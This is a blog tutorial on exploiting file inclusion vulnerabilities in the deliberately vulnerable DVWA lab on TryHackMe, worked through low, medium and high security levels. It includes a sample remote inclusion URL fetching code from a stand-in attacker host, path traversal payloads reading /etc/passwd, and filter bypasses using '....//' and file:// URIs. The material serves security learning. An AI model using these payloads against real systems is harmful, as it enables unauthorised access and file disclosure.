This is a summary of the article in my blog: https://stackzero.net/file-inclusion-introduction/

In this tutorial, I’m going to show you how to exploit the file inclusion vulnerability in DVWA! But before doing that, for those of you who have not yet read my previous article, here is a very brief introduction!

Basically, file inclusion vulnerabilities happen when a website or application allows users to specify a file that should be included in the application’s code. This is usually done to make it easier for developers to update and maintain the application, but it can also be a major security vulnerability if not properly handled.

Imagine you have a website that allows users to upload profile pictures. If the website doesn’t properly check which files are being uploaded, a hacker could potentially upload a malicious file and trick the website into including it in the code. This could allow the hacker to gain unauthorized access to the system or even take it over completely.

To avoid file inclusion vulnerabilities, it’s crucial for developers to properly validate and sanitize the input of any file inclusion requests. This way, they can ensure that only safe and legitimate files are included in the code.

So next time you’re working on a website or application, remember to keep an eye out for file inclusion vulnerabilities.

File inclusion vulnerabilities allow attackers to include a file, usually, through a script on a web server, that can allow them to gain unauthorized access to data or execute malicious code. There are two main types of file inclusion vulnerabilities:

1. Local File Inclusion (LFI): This vulnerability allows an attacker to include files stored locally on the server. An attacker can use LFI to access sensitive files on the server, such as configuration files or log files, which may contain sensitive information such as usernames, passwords, and server paths. An attacker could also upload a malicious file taking advantage of another vulnerability: Unrestricted File Upload and then execute it.
2. Remote File Inclusion (RFI): This vulnerability allows an attacker to include files from a remote server, such as an attacker’s own server. The hacker can use RFI to execute arbitrary code on the target server, which could allow the attacker to take control of the server. If RFI is present, there is no need to rely on another vulnerability to upload and execute arbitrary files. In a way, it turns out to be even more dangerous than LFI.

Usually, the file inclusion vulnerability exploitation, involves the injection of a malicious script. For example, an attacker might try to include a PHP file from a remote server by using a URL like this:

http://victim.com/vulnerable_script.php?file=http://attacker.com/malicious.php

If the vulnerable script does not properly sanitize user input and allows the inclusion of arbitrary files (RFI in this case), the malicious PHP code will be executed on the target server. This can let everyone gain unauthorized access to data or execute malicious code on the server.

The better way to understand this vulnerability is to see a real case example, as usual, I will assume you have an attacker machine and a working DVWA as a target.
In this tutorial, I will show you how to exploit File Inclusion on the DVWA that TryHackMe provides us.

If you are a StackZero’s reader you probably already know how to access to DVWA, but if you are new, this is just a quick refresh on how to log in and change the security level. And you can find self-explanatory instructions on TryHackMe for configuring the VPN.

So you can log in with these credentials:

• Username: admin
• Password: password

Go into the settings and set the difficulty as “Low”

I explained how to chain File Upload and File Inclusion vulnerabilities on DVWA in this article. So, here I just want to focus on File Inclusion.

As we have seen in the introduction, this vulnerability allows an attacker to see/execute a file without having reading/executing permissions.

Once we logged in to the right session we can see this section:

The query string in the URL bar catches the eye, the file is loaded dynamically, so we can guess that if the vulnerability is present, it would allow us to open almost whatever we want.

So let’s try to change the “page” variable with the relative path of the “passwd” file in Linux, and go to (remember to replace the IP with your target machine’s address):

http://10.10.229.208/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd

The result is the list of users on the server.
But let’s go a step further, and get the flag!
As you can see in the structure of DVWA there is a folder named “flags” inside hackable. You can find it here and it contains the file we want to execute: fi.php.
So, as you already may have understood, we need to type the relative path to that file in order to execute it.

This is the URL we will insert into our browser:

http://10.10.229.208/vulnerabilities/fi/?page=../../hackable/flags/fi.php

And this will be the result!

We are done! It’s time to move to the next level!

Our trip into file inclusion exploitation in DVWA it’s just at the beginning, but it’s becoming funnier and funnier!
Set the security level to “medium” and keep exploiting!

Obviously, the plain exploit doesn’t work at the medium level, but we are here to learn, so let’s deepen!

The server seems to apply some filters, but what are they?
By clicking the bottom right button on the page with the text “View Source” we can analyze the filters.

<?php
    // The page we wish to display
    $file = $_GET[ 'page' ];
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
?> 

The server uses the PHP str_replace function to replace the “dangerous” strings:

• HTTP, HTTPS: the developer wants to prevent the Remote File inclusion
• ../, ..\: the developer wants to prevent the directory traversal for Local File Inclusion

It’s not strong protection, as you can see from the documentation in the link, this method replaces the strings in the array in the first parameter with the string in the second parameter (the empty string in this case).

Try to imagine, for example, if we pass this string to the filter: ....//
What would happen? It will replace the bold substring with the empty string, and the result will be: ../
That is exactly what the developer didn't want!

After understanding this, let’s try to apply it to our machine and type in the address bar:

http://10.10.229.208/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php

And this will appear!

We have exceeded the medium level as well! It’s time to move on to the high one!

Remember to set the security level as “high” before starting to exploit!

The previous exploits won’t work, and this filter is a bit harder to bypass, but let’s see what developers did invent this time!

By looking at the source, this is the mitigation:

php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
?> 

It uses the PHP function fnmatch which checks if the string matches a shell pattern. In this case, it’s very simple and just checks if the variable starts with the string “file”, if not it returns an error.

We can retrieve files in the browser through the file URI scheme, and that’s exactly what we want because it starts with “file”!

So let’s type:

http://10.10.60.34/vulnerabilities/fi/?page=file:///var/www/html/hackable/flags/fi.php

And the result is:

In conclusion, file inclusion vulnerability is a critical security threat that can allow an attacker to gain unauthorized access to a vulnerable web server.
It is important for web developers to be aware of this vulnerability and to take steps to prevent it, such as properly sanitizing user input and implementing security best practices.
Additionally, security professionals should be familiar with file inclusion vulnerability and the tools and techniques used to exploit it, so that they can effectively defend against it. Overall, file inclusion vulnerability is a serious security threat that requires attention and action to prevent and mitigate.

Thanks for reading our article on file inclusion vulnerability and its example on DVWA. I hope you found it informative and helpful. If you want to stay up-to-date on the latest cybersecurity threats and best practices, make sure to follow my blog and social media channels. I’m always happy to answer any questions you may have.
Thanks again for your interest in my content.

Follow me on medium to receive my new articles. And if you want to subscribe to Medium, consider to use my referral link, it’s not an additional cost for you but would be a big help for me.